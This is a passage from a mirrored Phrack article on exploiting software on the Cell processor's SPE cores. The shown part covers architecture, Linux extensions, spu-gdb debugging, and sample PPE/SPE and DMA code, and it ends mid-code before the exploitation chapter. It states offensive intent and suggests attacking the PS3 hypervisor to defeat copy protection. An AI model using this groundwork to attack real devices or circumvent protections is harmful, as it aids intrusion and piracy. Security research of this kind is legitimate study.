mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1592 lines
62 KiB
Text
1592 lines
62 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0d, Issue 0x42, Phile #0x0D of 0x11
|
|
|
|
|=----------------------------------------------------------------------=|
|
|
|=---------=[ Hacking the Cell Broadband Engine Architecture ]=---------=|
|
|
|=-------------------=[ SPE software exploitation ]=--------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=--------------=[ By BSDaemon ]=----------=|
|
|
|=--------------=[ <bsdaemon *noSPAM* risesecurity_org> ]=----------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|
|
"There are two ways of
|
|
constructing a software design.
|
|
One way is to make it so simple
|
|
that there are obviously no
|
|
deficiencies. And the other way
|
|
is to make it so complicated that
|
|
there are no obvious deficiencies"
|
|
- C.A.R. Hoare
|
|
|
|
------[ Index
|
|
|
|
1 - Introduction
|
|
1.1 - Paper structure
|
|
|
|
2 - Cell Broadband Engine Architecture
|
|
2.1 - What is Cell
|
|
2.2 - Cell History
|
|
2.2.1 - Problems it solves
|
|
2.2.2 - Basic Design Concept
|
|
2.2.3 - Architecture Components
|
|
2.2.4 - Processor Components
|
|
2.3 - Debugging Cell
|
|
2.3.1 - Linux on Cell
|
|
2.3.2 - Extensions to Linux
|
|
2.3.2.1 - User-mode
|
|
2.3.2.2 - Kernel-mode
|
|
2.3.3 - Debugging the SPE
|
|
2.4 - Software Development for Linux on Cell
|
|
2.4.1 - PPE/SPE hello world
|
|
2.4.2 - Standard Library Calls from SPE
|
|
2.4.3 - Communication Mechanisms
|
|
2.4.4 - Memory Flow Control (MFC) Commands
|
|
2.4.5 - Direct Memory Access (DMA) Commands
|
|
2.4.5.1 - Get/Put Commands
|
|
2.4.5.2 - Resources
|
|
2.4.5.3 - SPE 2 SPE Communication
|
|
|
|
3 - Exploiting Software Vulnerabilities on Cell SPE
|
|
3.1 - Memory Overflows
|
|
3.1.1 - SPE memory layout
|
|
3.1.2 - SPE assembly basics
|
|
3.1.2.1 - Registers
|
|
3.1.2.2 - Local Storage Addressing Mode
|
|
3.1.2.3 - External Devices
|
|
3.1.2.4 - Instruction Set
|
|
3.1.3 - Exploiting software vulnerabilities in SPE
|
|
3.1.3.1 - Avoiding Null Bytes
|
|
3.1.4 - Finding software vulnerabilities on SPE
|
|
|
|
4 - Future and other uses
|
|
|
|
5 - Acknowledgements
|
|
|
|
6 - References
|
|
|
|
7 - Notes on SDK/Simulator Environment
|
|
|
|
8 - Sources
|
|
|
|
|
|
------[ 1 - Introduction
|
|
|
|
This article is all about Cell Broadband Architecture Engine [1], a new
|
|
hardware designed by a joint between Sony [2], Toshiba [3] and IBM [4].
|
|
|
|
As so, lots of architecture details will be explained, and also many
|
|
development differences for this platform.
|
|
|
|
The biggest differentiator between this article and others released about
|
|
this subject, is the focus on the architecture exploitation and not the
|
|
use of the powerful processor resources to break code [5] and of course,
|
|
the focus in the differentiators of the architecture, which means the SPU
|
|
(synergestic processor unit) and not in the core (PPU - power processor
|
|
unit) [6], since the core is a small-modified power processor (which
|
|
means, all shellcodes for Linux on Power will also works for the core and
|
|
there is just small differences in the code allocation and stuffs like
|
|
that).
|
|
|
|
It's important to mention that everything about Cell tries to focus in the
|
|
Playstation3 hardware, since it's cheap and widely deployed, but there is
|
|
also big machines made with this processor [7], including the #1 in the
|
|
list of supercomputers [8].
|
|
|
|
|
|
|
|
---[ 1.1 - Paper structure
|
|
|
|
The idea of this paper is to complete the studies about Cell, putting all
|
|
the information needed to do security research, focused in software
|
|
exploitation for this architecture together.
|
|
|
|
For that, the paper have been structured in two important portions:
|
|
|
|
Chapter 2 will be all about the Cell Architecture and how to develop for
|
|
this architecture. It includes many samples and explains the
|
|
modifications done to Linux in order to get the best from this
|
|
architecture. Also, it gives the knowledge needed in order to go further
|
|
in software exploitation for this arch. Chapter 3 is focused in the
|
|
exploitation of the SPU processor, showing the simple memory layout it has
|
|
and how to write a shellcode for the purpose of gaining control over an
|
|
application running inside the SPU.
|
|
|
|
|
|
------[ 2 - Cell Broadband Engine Architecture
|
|
|
|
From the IBM Research [9]: "The Cell Architecture grew from a challenge
|
|
posed by Sony and Toshiba to provide power-efficient and cost-effective
|
|
high-performance processing for a wide range of applications, including
|
|
the most demanding consumer appliance: game consoles. Cell - also known as
|
|
the Cell Broadband Engine Architecture (CBEA) - is an innovative solution
|
|
whose design was based on the analysis of a broad range of workloads in
|
|
areas such as cryptography, graphics transform and lighting, physics,
|
|
fast-Fourier transforms (FFT), matrix operations, and scientific
|
|
workloads. As an example of innovation that ensures the clients' success,
|
|
a team from IBM Research joined forces with teams from IBM Systems
|
|
Technology Group, Sony and Toshiba, to lead the development of a novel
|
|
architecture that represents a breakthrough in performance for consumer
|
|
applications. IBM Research participated throughout the entire development
|
|
of the architecture, its implementation and its software enablement,
|
|
ensuring the timely and efficient application of novel ideas and
|
|
technology into a product that solves real challenges."
|
|
|
|
It's impossible to not get excited with this. A so 'powerful' and
|
|
versatile architecture, completely different from what we usually seen is
|
|
an amazing stuff to research for software vulnerabilities. Also, since
|
|
it's supposed to be widely deployed, there will be an infinite number of
|
|
new vulnerabilities coming on in the near future. I wanted to exploit
|
|
those vulnerabilities.
|
|
|
|
|
|
---[ 2.1 - What is Cell
|
|
|
|
As must be already clear to the reader, I'm not talking about phones here.
|
|
Cell is a new architecture, which cames to solve some of the actual
|
|
problems in the computer industry.
|
|
|
|
It's compatible with a well-known architecture, which are the Power
|
|
Architecture, keeping most of it's advantages and solving most of it's
|
|
problems (if you cannot wait until know what problems, go to 2.2.1
|
|
section).
|
|
|
|
|
|
---[ 2.2 - Cell History
|
|
|
|
The focus of this section is just to give a timeline vision for the
|
|
reader, not been detailed at all.
|
|
|
|
The architecture was born from a joint between IBM, Sony and Toshiba,
|
|
formed in 2000.
|
|
|
|
They opened a design center in March 2001, based in Austin, Texas (USA).
|
|
|
|
In the spring of 2004, a single Cell BE became operational. In the summer
|
|
of the same year, a 2-way SMP version was released.
|
|
|
|
The first technical disclosures came just in February 2005, with the
|
|
simulator [10] and open-source SDK [11] (more on that later) been released
|
|
in November of the same year. In the same month, Mercury started to sell
|
|
Cell (yeah, sell Cell sounds funny) machines.
|
|
|
|
Cell Blades was announced by IBM in February of 2006. The SDK 1.1 was
|
|
released in July of the same year, with many improvements. The latest
|
|
version is 3.1.
|
|
|
|
|
|
---[ 2.2.1 - Problems it solves
|
|
|
|
The computer technology have been evolving along the years, but always
|
|
suffering and trying to avoid some barriers.
|
|
|
|
Those barriers are physically impossible to be bypassed and that's why the
|
|
processor clock stopped to grow and multi-core architectures been focused.
|
|
|
|
Basically we have three big walls (barriers) to the speedy grow:
|
|
- Power wall
|
|
It's related to the CMOS technology limits and the hard limit to
|
|
the acceptable system power
|
|
|
|
- Memory wall
|
|
Many comparisons and improvements trying to avoid the DRAM latency
|
|
when compared to the processor frequency
|
|
|
|
- Frequency wall
|
|
Diminishing return from deeper pipelines
|
|
|
|
For a new architecture to work and be widely deployed, it was also
|
|
important to keep the investments in software development.
|
|
|
|
Cell accomplish that being compatible with the 64 bits Power Architecture,
|
|
and attacks the walls in the following ways:
|
|
|
|
- Non-homogeneous coherent multi-processor and high design
|
|
frequency at a low operating voltage with advanced power
|
|
management attacks the 'power wall'.
|
|
- Streaming DMA architecture and three-level memory model (main
|
|
storage, local storage and register files) attacks the 'memory
|
|
wall'.
|
|
- Non-homogeneous coherent multi-processor, highly-optimized
|
|
implementation and large shared register files with software controlled
|
|
branching to allow deeper pipelines attacks the 'frequency wall'.
|
|
|
|
It have been developed to support any OS, which means it supports
|
|
real-time operating system as well non-real time operating systems.
|
|
|
|
---[ 2.2.2 - Basic Design Concept
|
|
|
|
The basic concept behind cell is it's asymmetric multi-core design. That
|
|
permits a powerful design, but of course requires specific-developed
|
|
applications to achieve the most of the architecture.
|
|
|
|
Knowing that, becomes clear that the understanding of the new component,
|
|
which is called SPU (synergistic processor unit) or SPE (synergistic
|
|
processor element) proofs to be essential - see the next section for a
|
|
better understanding of the differences between SPU and SPE.
|
|
|
|
|
|
---[ 2.2.3 - Architecture Components
|
|
|
|
In cell what we have is a core processor, called Power Processor Element
|
|
(PPE) which control tasks and synergistic processor elements (SPEs) for
|
|
data-intensive processing.
|
|
|
|
The SPE consists of the synergistic processor unit (SPU), which are a
|
|
processor itself and the memory flow control (MFC), responsible for the
|
|
data movements and synchronization, as well for the interface with the
|
|
high-performance element interconnect bus (EIB).
|
|
|
|
Communications with the EIB are done in a 16B/cycle, which means that each
|
|
SPU is interconnected at that speedy with the bus, which supports
|
|
96B/cycle.
|
|
|
|
Refer to the picture architecture-components.jpg in the directory images
|
|
of the attached file for a visual of the above explanation.
|
|
|
|
---[ 2.2.4 - Processor Components
|
|
|
|
As said, the Power Processor Element (PPE) is the core processor which
|
|
control tasks (scheduling). It is a general purpose 64 bit RISC processor
|
|
(Power architecture).
|
|
|
|
It's 2-way hardware multithreaded, with a L1: 32KB I and D caches and L2:
|
|
512KB cache.
|
|
|
|
Has support for real-time operations, like locking the L2 cache and the
|
|
TLB (also it supports managed TLB by hardware and software). It has
|
|
bandwidth and resource reservation and mediated interrupts.
|
|
|
|
It's also connected to the EIB using a 16B/cycle channel (figure
|
|
processor-components.jpg).
|
|
|
|
The EIB itself supports four 16 bytes data rings with simultaneous
|
|
transfers per ring (it will be clarified later).
|
|
|
|
This bus supports over 100 simultaneous transactions achieving in each bus
|
|
data port more than 25.6 Gbytes/sec in each direction.
|
|
|
|
On the other side, the synergistic processor element is a simple RISC
|
|
user-mode architecture supporting dual-issue VMX-like, graphics SP-float
|
|
and IEEE DP-float.
|
|
|
|
Important to note that the SPE itself has dedicated resources: unified 128
|
|
x 128 bit register files and 256KB local storage. Each SPE has a
|
|
dedicated DMA engine, supporting 16 requests.
|
|
|
|
The memory management on this architecture simplified it's use, with the
|
|
local storage of the SPE being aliased into the PPE system memory (figure
|
|
processor-components2.jpg).
|
|
|
|
MFC in the SPE acts as the MMU providing controls over the SPE DMA access
|
|
and it's compatible with the PowerPC Virtual Memory layout and is software
|
|
controllable using PPE MMIO.
|
|
|
|
DMA access supports 1,2,4,8...n*16 bytes transfer, with a maximum of 16 KB
|
|
for I/O, and with two different queues for DMA commands: Proxy & SPU
|
|
(more on this later).
|
|
|
|
EIB is also connected in a broadband interface controller (BIC). The
|
|
purpose of this controller is to provide external connectivity for
|
|
devices. It supports two configurable interfaces (60 GB/s) with a
|
|
configurable number of bytes, coherent (BIF) and/or I/O (IOIFx) protocols,
|
|
using two virtual channels per interface, and multiple system
|
|
configurations.
|
|
|
|
The memory interface controller (MIC) is also connected to the EIB and is
|
|
a Dual XDR controller (25.6 GB/s) with ECC and suspended DRAM support
|
|
(figure processor-components3.jpg).
|
|
|
|
Still are missing two more components: The internal interrupt controller
|
|
(IIC) and the I/O Bus Master Translation (IOT) (figure
|
|
processor-components4.jpg).
|
|
|
|
The IIC handles the SPE interrupts as well as the external interrupts and
|
|
interrupts comming from the coherent interconnect and the IOIF0 and IOIF1.
|
|
It is also responsible for the interrupt priority level control and for
|
|
the interrupt generation ports for IPI. Note that the IIC is duplicated
|
|
for each PPE hardware thread.
|
|
|
|
IOT translates bus addresses to system real addresses, supporting two
|
|
level translations:
|
|
- I/O segments (256 MB)
|
|
- I/O pages (4K, 64K, 1M, 16M bytes)
|
|
|
|
Interesting is the resource of I/O device identifier per page for LPAR use
|
|
(blades) and IOST/IOPT caches managed by software and hardware.
|
|
|
|
|
|
---[ 2.3 - Debugging Cell
|
|
|
|
As the bus is a high-speedy circuit, it's really difficult to debug the
|
|
architecture and better seen what is going on.
|
|
|
|
For that, and also to made it easy to develop software for Cell, IBM
|
|
Research developed a Cell simulator [10] in which you may run Linux and
|
|
install the software development kit [11].
|
|
|
|
The IBM Linux Technology Center brazilian team developed a plugin for
|
|
eclipse as an IDE for the debugger and SDK. Putting it all together is
|
|
possible to have the toolkit installed in a Linux machine, running the
|
|
frontends for the simulator and for the SDK. The debugging interface is
|
|
much better using this frontends. Anyway, it's important to notice that
|
|
it's just a frontend for the normal and well know linux tools with
|
|
extended support to Cell processor (GDB and GCC).
|
|
|
|
---[ 2.3.1 - Linux on Cell
|
|
|
|
Linux on cell is an open-source git branch and is provided in the PowerPC
|
|
64 kernel line.
|
|
|
|
It started in the 2.6.15 and is evolving to support many new features,
|
|
like the scheduling improvements for the SPUs (actually it can be
|
|
preempted, and my big friend Andre Detsch who reviewed this article was
|
|
one of the biggest contributors to create an stable code here).
|
|
|
|
On Linux it added heterogeneous lwp/thread model, with a new SPE thread
|
|
model (really similar to the pthreads library as we will see later),
|
|
supporting user-mode direct and indirect SPE access, full-preemptive SPE
|
|
context management and for that, spe_ptrace() was create and it's support
|
|
added to GDB, spe_schedule() for thread to physical spe assigment (it is
|
|
not anymore FIFO - run until completion).
|
|
|
|
As a note, the SPE threads shares it's address space with the parent PPE
|
|
process (using DMA), demand paging for SPE access and shared hardware page
|
|
table with PPE.
|
|
|
|
An implementation detail is the PPE proxy thread allocated for each SPE to
|
|
provide a single namespace for both PPE and SPE and assist in SPE
|
|
initiated C99 and Posix library services.
|
|
|
|
All the events, error and signal handling for SPEs are done by the parent
|
|
PPE thread.
|
|
|
|
The ELF objects for SPE are wrapped into PPE objects with an extended GLD.
|
|
|
|
|
|
---[ 2.3.2 - Extensions to Linux
|
|
|
|
Here I'll try to provide some details for Linux running under a Cell
|
|
Hardware. The base hardware used for this reference is a Playstation 3,
|
|
which has 8 SPUs, but one is reserved with the purpose of redundancy and
|
|
another one is used as hypervisor for a custom OS (in this case, Linux).
|
|
|
|
All the details are valid for any Linux on Cell and we will provide an
|
|
top-down view approach.
|
|
|
|
---[ 2.3.2.1 - User-mode
|
|
|
|
Cell supports both power 32 and 64 bits applications, as well as 32 and 64
|
|
cell workloads. It has different programming modes, like RPC, devices
|
|
subsystems and direct/indirect access.
|
|
|
|
As already said, it has heterogeneous threads: single SPU, SPU groups and
|
|
shared memory support.
|
|
|
|
It runs over a SPE management runtime library, with 32 and 64 bits. This
|
|
library interacts with the SPUFS filesystem (/spu/thread#/) in the
|
|
following ways:
|
|
* Open, close, read, write the files:
|
|
- mem
|
|
This file provides access to the local storage
|
|
|
|
- regs
|
|
Access to the 128 register of 128 bits each
|
|
|
|
- mbox
|
|
spe to ppe mailbox
|
|
|
|
- liox
|
|
spe to ppe interrupt mailbox
|
|
|
|
- xbox_stat
|
|
Get the mailbox status
|
|
|
|
- signal1
|
|
Signal notification acess
|
|
|
|
- signal2
|
|
Signal notification acess
|
|
|
|
- signalx_type
|
|
Signal type
|
|
|
|
- npc
|
|
Read/write SPE next program counter (for debugging)
|
|
|
|
- fpcr
|
|
SPE floating point control/status register
|
|
|
|
- decr
|
|
SPE decrementer
|
|
|
|
- decr_status
|
|
SPE decrementer status
|
|
|
|
- spu_tag_mask
|
|
Access tag query mask
|
|
|
|
- event_mask
|
|
Access spe event mask
|
|
|
|
- srr0
|
|
Access spe state restore register 0
|
|
|
|
|
|
* open, close mmap the files:
|
|
- mem
|
|
Program State access of the Local Storage
|
|
|
|
- signal1
|
|
Direct application access to signal 1
|
|
|
|
- signal2
|
|
Direct application access to signal 2
|
|
|
|
- cntl
|
|
Direct application access to SPE controls, DMA queues and
|
|
mailboxes
|
|
|
|
The library also provides SPE task control system calls (to interact with
|
|
the SPE system calls implemented in kernel-mode), which are:
|
|
- sys_spu_create_thread
|
|
Allocates a SPE task/context and creates a directory in SPUFS
|
|
|
|
- sys_spu_run
|
|
Activates a SPU task/context on a physical SPE and
|
|
blocks in the kernel as a proxy thread to handle the events
|
|
already mentioned
|
|
|
|
Some functions provided by the library are related to the management of
|
|
the spe tasks, like spe create group, create thread, get/set affinity,
|
|
get/set context, get event, get group, get ls, get ps area, get threads,
|
|
get/set priority, get policy, set group defaults, group max, kill/wait,
|
|
open/close image, write signal, read in_mbox, write out_mbox, read mbox
|
|
status.
|
|
|
|
|
|
Obviously the standard 32 and 64 bits powerpc ELF (binary) interpreters,
|
|
it is provided a SPE object loader, responsible for understand the
|
|
extension to the normal objects already mentioned and for initiate the
|
|
loading of the SPE threads.
|
|
|
|
Going down, we have the glibc and other GNU libraries, both supporting 32
|
|
and 64 bits.
|
|
|
|
|
|
---[ 2.3.2.2 - Kernel-mode
|
|
|
|
The next layer is the normal system-call interface, where we have the SPU
|
|
management framework (through special files in the spufs) and
|
|
modifications in the exec* interface, in a 64bit kernel.
|
|
|
|
This modification is done through a special misc format binary, called SPU
|
|
object loader extension.
|
|
|
|
Of course there is other kernel extensions, the SPUFS filesystem, which
|
|
provides the management interface and the SPU allocation, scheduling and
|
|
dispatch.
|
|
|
|
Also, we do have the Cell BE architecture specific code, supporting multi
|
|
and large pages, SPE event & fault handling, IIC and IOMMU.
|
|
|
|
Everything is controlled by a hypervisor, since Linux is what is called a
|
|
custom OS when running in a Playstation3 hardware (the hypervisor is
|
|
responsible for the protection of the 'secret key' of the hardware and
|
|
knowing how to exploit SPU vulnerabilities plus some fuzzing on the
|
|
hypervisor may be the needed knowledge to break the game protection copy
|
|
in this hardware).
|
|
|
|
|
|
---[ 2.3.3 - Debugging the SPE
|
|
|
|
The SDK for Linux on Cell provides good resources for Debugging and better
|
|
understanding of what is going on.
|
|
|
|
It's important to note the environment variables that control the
|
|
behaviour of the system.
|
|
|
|
So, if you set the SPU_INFO, for example, the spe runtime library will
|
|
print messages when loading a SPE ELF executable (see above).
|
|
|
|
---------- begin output ----------
|
|
# export SPU_INFO=1
|
|
# ./test
|
|
Loading SPE program: ./test
|
|
SPU LS Entry Addr : XXX
|
|
---------- end output ----------
|
|
|
|
And it will also print messages before starting up a new SPE thread, like:
|
|
|
|
---------- begin output ----------
|
|
Starting SPE thread 0x..., to attach debugger use: spu-gdb -p XXX
|
|
---------- end output ----------
|
|
|
|
When planning to use the spu-gdb to debug a SPU thread, it's important to
|
|
remember the SPU_DEBUG_START environment variable, which will include
|
|
everything provided by the SPU_INFO and will stop the thread until a
|
|
debugger is attached or a signal is received.
|
|
|
|
Since each SPU register can hold multiple fixed (or floating) point values
|
|
of different sizes, for GDB is provided a data structure that can be
|
|
accessed with different formats. So, specifying the field in the data
|
|
structure, we can update it using different sizes as well:
|
|
|
|
---------- begin output ----------
|
|
(gdb) ptype $r70
|
|
type = union __gdb_builtin_type_vec128 {
|
|
int128_t uint128;
|
|
float v4_float[4];
|
|
int32_t v4_int32[4];
|
|
int16_t v8_int16[8];
|
|
int8_t v16_int8[16];
|
|
}
|
|
|
|
(gdb) p $r70.uint128
|
|
$1 = 0x00018ff000018ff000018ff000018ff0
|
|
(gdb) set $r70.v4_int[2]=0xdeadbeef
|
|
(gdb) p $r70.uint128
|
|
$2 = 0x00018ff000018ff0deadbeef00018ff0
|
|
---------- end output ----------
|
|
|
|
To permit you to better understand when the SPU code starts the execution
|
|
and follow it gdb also included an interesting option:
|
|
|
|
|
|
---------- begin output ----------
|
|
(gdb) set spu stop-on-load
|
|
(gdb) run
|
|
...
|
|
(gdb) info registers
|
|
---------- end output ----------
|
|
|
|
Another important information for debugging your code is to understand the
|
|
internal sizes and be prepared for overlapping. Useful information can
|
|
be get using the following fragment code inside your spu program (careful:
|
|
It's not freeing the allocated memory).
|
|
|
|
--- code ---
|
|
extern int _etext;
|
|
extern int _edata;
|
|
extern int _end;
|
|
|
|
void meminfo(void)
|
|
{
|
|
printf("\n&_etext: %p", &_etext);
|
|
printf("\n&_edata: %p", &_edata);
|
|
printf("\n&_end: %p", &_end);
|
|
printf("\nsbrk(0): %p", sbrk(0));
|
|
printf("\nmalloc(1024): %p", malloc(1024));
|
|
printf("\nsbrk(0): %p", sbrk(0));
|
|
}
|
|
--- end code ---
|
|
|
|
And of course you can also play with the GCC and LD arguments to have more
|
|
debugging info:
|
|
|
|
--- code ---
|
|
# vi Makefile
|
|
CFLAGS += -g
|
|
LDFLAGS += -Wl,-Map,map_filename.map
|
|
--- end code ---
|
|
|
|
|
|
|
|
---[ 2.4 - Software Development for Linux on Cell
|
|
|
|
In this chapter I will introduce the inners of the Cell development,
|
|
giving the basic knowledge necessary to better understand the further
|
|
chapters.
|
|
|
|
---[ 2.4.1 - PPE/SPE hello world
|
|
|
|
Every program in Cell that uses the SPEs needs to have at least two source
|
|
codes. One for the PPE and another one for the SPE.
|
|
|
|
Following is a simple code to run on the SPE (it's also in the attached
|
|
tar file :
|
|
|
|
--- code ---
|
|
#include <stdio.h>
|
|
|
|
int main(unsigned long long speid, unsigned long long argp, unsigned long long envp)
|
|
{
|
|
printf("\nHello World!\n");
|
|
return 0;
|
|
}
|
|
--- end code ---
|
|
|
|
The Makefile for this code will look like:
|
|
|
|
|
|
--- code ---
|
|
PROGRAM_spu = hello_spu
|
|
LIBRARY_embed = hello_spu.a
|
|
IMPORTS = $(SDKLIB_spu)/libc.a
|
|
include ($TOP)/make.footer
|
|
--- end code ---
|
|
|
|
Of course it looks like any normal code. The PPE as already explained is
|
|
the responsible for the creation of the new thread and allocation in the
|
|
SPE:
|
|
|
|
--- code ---
|
|
#include <stdio.h>
|
|
#include <libspe.h>
|
|
|
|
extern spe_program_handle_t hello_spu;
|
|
|
|
int main(void)
|
|
{
|
|
int speid, status;
|
|
|
|
speid=spe_create_thread(0, &hello_spu, NULL, NULL, -1, 0);
|
|
spe_wait(speid, &status, 1);
|
|
return 0;
|
|
}
|
|
--- end code ---
|
|
|
|
With the following Makefile:
|
|
|
|
--- code ---
|
|
DIRS = spu
|
|
PROGRAM_ppu = hello_ppu
|
|
IMPORTS = ../spu/hello_spu.a -lspe
|
|
include $(TOP)/make.footer
|
|
--- end code ---
|
|
|
|
The reader will notice that the speid in the PPE program will be the same
|
|
value as the speid in the main of the SPE.
|
|
|
|
Also, the arguments passed to the spe_create_thread() are the ones
|
|
received by the SPE program when running (argp and envp equals to NULL in
|
|
our sample).
|
|
|
|
Important to remember that when compiled this program will generate a
|
|
binary in the spu directory, called hello_spu and another one in the root
|
|
directory of this example called hello_ppu, which CONTAINS embedded the
|
|
hello_spu.
|
|
|
|
|
|
---[ 2.4.2 - Standard Library Calls from SPE
|
|
|
|
When the SPE program needs to use any standard library call, like for
|
|
example, printf or exit, it has to call back to the PPE main thread.
|
|
|
|
It uses a simple stop-and-signal assembly instruction with standardized
|
|
arguments value (important to remember that since it's needed in
|
|
shellcodes for SPE).
|
|
|
|
That value is returned from the ioctl call and the user thread must react
|
|
to that. This means copying the arguments from the SPE Local Storage,
|
|
executing the library call and then calling ioctl again.
|
|
|
|
The instruction according to the manual:
|
|
"stop u14 - Stop and signal. Execution is stopped, the current
|
|
address is written to the SPU NPC register, the value u14 is
|
|
written to the SPU status register, and an interrupt is sent to
|
|
the PPU."
|
|
|
|
This is a disassembly output of the hello_spu program:
|
|
|
|
---------- begin output ----------
|
|
# spu-gdb ./hello_spu
|
|
GNU gdb 6.3
|
|
Copyright 2004 Free Software Foundation, Inc.
|
|
GDB is free software, covered by the GNU General Public License, and you are
|
|
welcome to change it and/or distribute copies of it under certain conditions.
|
|
Type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB. Type "show warranty" for details.
|
|
This GDB was configured as "--host=powerpc64-unknown-linux-gnu --target=spu"...
|
|
(gdb) disassemble main
|
|
Dump of assembler code for function main:
|
|
0x00000170 <main+0>: ila $3,0x340 <.rodata>
|
|
0x00000174 <main+4>: stqd $0,16($1)
|
|
0x00000178 <main+8>: nop $127
|
|
0x0000017c <main+12>: stqd $1,-32($1)
|
|
0x00000180 <main+16>: ai $1,$1,-32
|
|
0x00000184 <main+20>: brsl $0,0x1a0 <puts> # 1a0
|
|
0x00000188 <main+24>: ai $1,$1,32 # 20
|
|
0x0000018c <main+28>: fsmbi $3,0
|
|
0x00000190 <main+32>: lqd $0,16($1)
|
|
0x00000194 <main+36>: bi $0
|
|
0x00000198 <main+40>: stop
|
|
0x0000019c <main+44>: stop
|
|
End of assembler dump.
|
|
(gdb)
|
|
---------- end output ----------
|
|
|
|
|
|
---[ 2.4.3 - Communication Mechanisms
|
|
|
|
The architecture offers three main communications mechanism:
|
|
- DMA
|
|
Used to move data and instructions between main storage and
|
|
a local storage. SPEs rely on asyncronous DMA transfers to hide
|
|
memory latency and transfer overhead by moving information in
|
|
parallel with SPU computation.
|
|
|
|
- Mailbox
|
|
Used for control communications between a SPE and the
|
|
PPE or other devices. Mailboxes holds 32-bit messages. Each
|
|
SPE has two mailboxes for sending messages and one mailbox for
|
|
receiving messages.
|
|
|
|
- Signal Notification
|
|
Used for control communications from PPE or
|
|
other devices. Signal notification (also known as signalling)
|
|
uses 32-bit registers that can be configured for
|
|
one-sender-to-one-receiver signalling or
|
|
many-senders-to-one-receiver signalling.
|
|
|
|
All three are controlled and implemented by the SPE MFC and it's
|
|
importance is related to the way the vulnerable program will receive it's
|
|
input.
|
|
|
|
---[ 2.4.4 - Memory Flow Control (MFC) Commands
|
|
|
|
This is the main mechanism for the SPE to access the main storage and
|
|
maintain syncronization with other processors and devices in the system.
|
|
|
|
MFC commands can be issued either by the SPE itself, or by the processor
|
|
and other devices, as follow:
|
|
- A code running on the SPU issue a MFC command by executing a
|
|
series of writes and/or reads using channel instructions.
|
|
- A code running on the PPU or any other device issue a MFC
|
|
command by performing a serie of stores and/or loads to
|
|
memory-mapped I/O (MMIO) registers in the MFC.
|
|
|
|
The MFC commands are then queued in one of those independent queues:
|
|
- MFC SPU Command Queue - For channel-initiated commands by the
|
|
associated SPU
|
|
- MFC Proxy Command Queue - For MMIO-initiated commands by the PPE
|
|
or other devices.
|
|
|
|
|
|
---[ 2.4.5 - Direct Memory Access (DMA) Commands
|
|
|
|
The MFC commands that transfers data are referred as DMA commands. The
|
|
transfer direction for DMA commands are based on the SPE point of view:
|
|
- Into a SPE (from main storage to the local storage) -> get
|
|
- Out of a SPE (from local storage to the main storage) -> put
|
|
|
|
---[ 2.4.5.1 - Get/Put Commands
|
|
|
|
DMA get from the main memory to the local storage:
|
|
(void) mfc_get (volatile void *ls, uint64_t ea, uint32_t size,
|
|
uint32_t tag, uint32_t tid, uint32_t rid)
|
|
|
|
DMA put into the main memory from the local storage:
|
|
(void) mfc_put (volatile void *ls, uint64_t ea, uint32_t size,
|
|
uint32_t tag, uint32_t tid, uint32_t rid)
|
|
|
|
To guarantee the synchronization of the writes to the main memory, there
|
|
is the options:
|
|
- mfc_putf: the 'f' means fenced, or, that all commands executed
|
|
before within the same tag group must finish first, later ones
|
|
could be before
|
|
|
|
- mfc_putb: the 'b' here means barrier, or, that the barrier
|
|
command and all commands issued thereafter are NOT executed
|
|
until all previously issued commands in the same tag group have
|
|
been performed
|
|
|
|
|
|
---[ 2.4.5.2 - Resources
|
|
|
|
For DMA operations the system uses DMA transfers with variable length
|
|
sizes (1, 2, 4, 8 and n*16 bytes (n an integer, of course). There is a
|
|
maximum of 16 KB per DMA transfer and 128b aligments offer better
|
|
performance.
|
|
|
|
The DMA queues are defined per SPU, with 16-element queue for
|
|
SPU-initiated requests and 8-element queue for PPU-initiated requests.
|
|
The SPU-initiated request has always a higher priority.
|
|
|
|
To differentiate each DMA command, they receive a tag, with a 5-bit
|
|
identifier. Same identifier can be applied to multiple commands since
|
|
it's used for polling status or waiting on the completion of the DMA
|
|
commands.
|
|
|
|
A great feature provided is the DMA lists, where a single DMA command can
|
|
cause execution of a list of transfers requests (in local storage). Lists
|
|
implements scatter-gather functions and may contain up to 2K transfer
|
|
requests.
|
|
|
|
---[ 2.4.5.3 - SPE 2 SPE Communication
|
|
|
|
An address in another SPE local storage is represented as a 32-bit
|
|
effective address (global address).
|
|
|
|
SPE issuing a DMA command needs a pointer to the other SPE's local
|
|
storage. The PPE code can obtain effective address of an SPE's local
|
|
storage:
|
|
|
|
--- code ---
|
|
#include <libspe.h>
|
|
|
|
speid_t speid;
|
|
void *spe_ls_addr;
|
|
spe_ls_addr=spe_get_ls(speid);
|
|
--- end code ---
|
|
|
|
This permits the PPE to give to the SPEs each other local addresses and
|
|
control the communications. Vulnerabilities may arise don't matter what
|
|
is the communication flow, even without involving the PPE itself.
|
|
|
|
Follow is a simple DMA demo program between PPE and SPE (see the attached
|
|
file for the complete version) - This program will send an address in the
|
|
PPE to the SPE through DMA:
|
|
|
|
--- PPE code ---
|
|
information_sent is[1] __attribute__ ((aligned 128)));
|
|
spe_git_t gid;
|
|
int * pointer=(int *)malloc(128);
|
|
|
|
gid=spe_create_group(SCHED_OTHER, 0, 1);
|
|
|
|
if (spe_group_max(gid) < 1 ) {
|
|
printf("\nOps, there is no free SPE to run it...\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
is[0].addr = (unsigned int) pointer;
|
|
|
|
/* Create the SPE thread */
|
|
speid=spe_create_thread (gid, &hello_dma, (unsigned long long *) &is[0], NULL, -1, 0);
|
|
|
|
/* Wait for the SPE to complete */
|
|
spe_wait(speids[0], &status[0], 0);
|
|
|
|
/* Best pratice: Issue a sync before ending - This is good for us ;) */
|
|
__asm__ __volatile__ ("sync" : : : "memory");
|
|
--- end code ---
|
|
|
|
|
|
--- SPE code ---
|
|
information_sent is __attribute__ ((aligned 128)));
|
|
|
|
int main(unsigned long long speid, unsigned long long argp, unsigned long long envp)
|
|
{
|
|
/* Where:
|
|
is -> Address in local storage to place the data
|
|
argp -> Main memory address
|
|
sizeof(is) -> Number of bytes to read
|
|
31 -> Associated tag to this DMA (from 0 to 31)
|
|
0 -> Not useful here (just when using caching)
|
|
0 -> Not useful here (just when using caching)
|
|
*/
|
|
mfc_get(&is, argp, sizeof(is), 31, 0, 0);
|
|
|
|
mfc_write_tag_mask(1<<31); /* Always 1 left-shifted the value of your tag mask */
|
|
|
|
